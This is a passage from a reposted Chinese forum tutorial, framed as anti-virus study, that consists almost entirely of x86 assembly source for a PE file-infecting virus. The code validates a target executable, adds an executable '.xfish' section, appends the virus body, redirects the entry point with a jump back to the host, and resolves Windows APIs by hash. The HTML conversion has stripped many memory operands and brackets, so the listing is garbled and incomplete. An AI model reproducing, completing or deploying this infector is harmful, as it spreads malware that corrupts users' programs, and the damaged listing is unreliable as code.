.CloseHandle<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, edi<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , edx<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; esp<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp; jz&nbsp;&nbsp; .FreeMem<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; IsPe<br>&nbsp;&nbsp;&nbsp; jnc&nbsp;&nbsp; .FreeMem<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; Virus_Len<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; AddSectionTable<br>&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp; .FreeMem<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++ Update Oep, Write JmpHost <br>&nbsp;&nbsp; mov&nbsp;&nbsp; eax, edi<br>&nbsp;&nbsp; add&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; mov&nbsp;&nbsp; ecx, edx<br>&nbsp;&nbsp; xchg&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp; add&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp; mov&nbsp;&nbsp; dword , ecx<br>&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; FILE_BEGIN<br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; esp<br>&nbsp;&nbsp; lea&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp; jz&nbsp;&nbsp; .FreeMem<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; FILE_END<br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; Virus_Len<br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; FILE_CURRENT<br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; -(Virus_Len)<br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; push&nbsp;&nbsp; esp<br>&nbsp;&nbsp; push&nbsp;&nbsp; Virus_Len<br>&nbsp;&nbsp; lea&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp; jz&nbsp;&nbsp; .FreeMem<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; .FreeMem:<br>&nbsp;&nbsp; push&nbsp;&nbsp; MEM_DECOMMIT<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .FreeSize = $ + 1<br>&nbsp;&nbsp; push&nbsp;&nbsp; $<br>&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; .CloseHandle:<br>&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; &nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .Result:<br>&nbsp;&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*1<br> <br> <br> ;++<br> ;<br> ; int<br> ;&nbsp;&nbsp;&nbsp; AddSectionTable(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; pByte pMemory<br> ;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwLen<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 添加节函数<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;&nbsp;&nbsp;&nbsp; - pMemory<br> ;<br> ;&nbsp;&nbsp;&nbsp; - dwLen<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; eax = New Section PhysicalOffset, 0<br> ;&nbsp;&nbsp;&nbsp;&nbsp; edx = New Section VirtualOffset<br> ;&nbsp;&nbsp; <br> ;--<br> <br> AddSectionTable:<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ebx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; esi, ebx<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; esi, <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; edi = Section Table<br>&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, word <br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edi, dword <br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++<br>&nbsp;&nbsp;&nbsp; ; Clear Bound Import Entry<br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; dword , 10h<br>&nbsp;&nbsp;&nbsp; jl&nbsp;&nbsp; .GoSectionTable<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0 <br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .GoSectionTable:<br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; edx = First Section Offset <br>&nbsp;&nbsp;&nbsp; ; edi = Last&nbsp;&nbsp; Section Table Offset<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; edx, ebx<br>&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, word <br>&nbsp;&nbsp;&nbsp; imul&nbsp;&nbsp; ecx, ecx, sizeof.IMAGE_SECTION_HEADER<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; edi, ecx<br>&nbsp;&nbsp;&nbsp; ;-- <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; Expand PE Header Struct<br>&nbsp;&nbsp;&nbsp; ; BaseOfData equ .lfanew<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; edx<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, edi<br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; edx, eax<br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; edx, sizeof.IMAGE_SECTION_HEADER<br>&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; edx<br>&nbsp;&nbsp;&nbsp; jge&nbsp;&nbsp; .AddSectionTable<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Test Expand Is Exist<br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; word , 'PE'<br>&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp; .Expand<br>&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; , eax<br>&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; .Result<br>&nbsp;&nbsp;&nbsp; <br> .Expand:<br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; eax, esi<br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, ecx<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edi, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , edi <br>&nbsp;&nbsp;&nbsp; cld<br>&nbsp;&nbsp;&nbsp; rep&nbsp;&nbsp; movsb<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , edi<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; edx, edi<br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; ecx, edx<br>&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; rep&nbsp;&nbsp; stosb<br>&nbsp;&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0ch<br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br> .AddSectionTable:<br>&nbsp;&nbsp;&nbsp; ; Inc&nbsp;&nbsp;&nbsp;&nbsp; Num<br>&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp; word <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Sectio Name<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , '.xfi'<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; word , 'sh'<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Physical size<br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; dword <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Physical offset<br>&nbsp;&nbsp; lea&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; eax, ecx<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Virtual size<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; dword <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Virtual offset <br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; eax<br>&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp; mov&nbsp;&nbsp; , eax<br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Flags<br>&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0E0000020h<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; SizeOfImage<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , ecx<br>&nbsp;&nbsp;&nbsp; <br> .Result:<br>&nbsp;&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*2<br>&nbsp;&nbsp;&nbsp; <br><br> ;++<br> JmpHost:<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; $<br>&nbsp;&nbsp;&nbsp; retn<br> ;--<br>&nbsp;&nbsp;&nbsp; <br> ;++++++++++++++++++++++++++++++++++++++++++++++++++<br> dwFunc:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0C0D6D616h<br>&nbsp;&nbsp;&nbsp; _CloseHandle&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 038C62A7Ah<br>&nbsp;&nbsp;&nbsp; _CreateFile&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0ABD10842h<br>&nbsp;&nbsp;&nbsp; _GetBinaryType&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 09554EFE7h<br>&nbsp;&nbsp;&nbsp; _GetFileSize&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 00BE25545h<br>&nbsp;&nbsp;&nbsp; _ReadFile&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0A97175F9h<br>&nbsp;&nbsp;&nbsp; _SetEndOfFile&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0A9D1FD70h<br>&nbsp;&nbsp;&nbsp; _SetFilePointer&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0AB16D0AEh<br>&nbsp;&nbsp;&nbsp; _VirtualAlloc&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0B562D3DBh<br>&nbsp;&nbsp;&nbsp; _VirtualFree&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 058D8C545h<br>&nbsp;&nbsp;&nbsp; _WriteFile&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0A412FD89h<br>&nbsp;&nbsp;&nbsp; _LoadLibray&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 014D14C51h<br>&nbsp;&nbsp;&nbsp; _MessageBox&nbsp;&nbsp;&nbsp;&nbsp; dd&nbsp;&nbsp; 0<br> ;-------------------------------------------------<br><br> Virus_Len = $ - Virus_Entry</pre>
</div>
<p>

</p></div>

<br>
               
               
               
页: [1]
查看完整版本: [Anti Virus专题] 1.4 - 1.变形PE头添加节形式感染 (ZT)